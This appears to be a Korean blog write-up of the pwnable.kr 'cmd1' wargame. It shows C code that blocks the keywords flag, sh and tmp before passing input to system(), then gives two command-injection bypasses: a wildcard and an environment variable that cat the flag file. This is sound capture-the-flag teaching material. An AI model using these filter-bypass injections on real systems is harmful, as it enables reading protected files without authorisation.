Toddler(cmd1)Wargame & CTF/pwnableKR2023. 11. 27. 13:05
Table of Contents
문제
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
풀이
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
strstr 함수를 사용하여 flag, sh, tmp 를 필터링 합니다. 필터링 된 인자는 system 함수를 통해 실행되는데 여기서 Command Injection 취약점이 발생합니다. 여러가지 풀이 방법이 있지만 간단하게 와일드 카드를 사용하여 풀이가 가능합니다.
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*"
mommy now I get what PATH environment is for :)
또한 환경변수를 이용한 방법도 있습니다.
cmd1@ubuntu:~$ export secretpack="/bin/cat /home/cmd1/flag"
cmd1@ubuntu:~$ ./cmd1 \${secretpack}
mommy now I get what PATH environment is for :)
cmd1@ubuntu:~$'Wargame & CTF > pwnableKR' 카테고리의 다른 글
| Toddler(uaf) (0) | 2023.11.27 |
|---|---|
| Toddler(cmd2) (0) | 2023.11.27 |
| Toddler(lotto) (1) | 2023.11.27 |
| Toddler(blackjack) (0) | 2023.11.27 |
| Toddler(coin1) (0) | 2023.11.27 |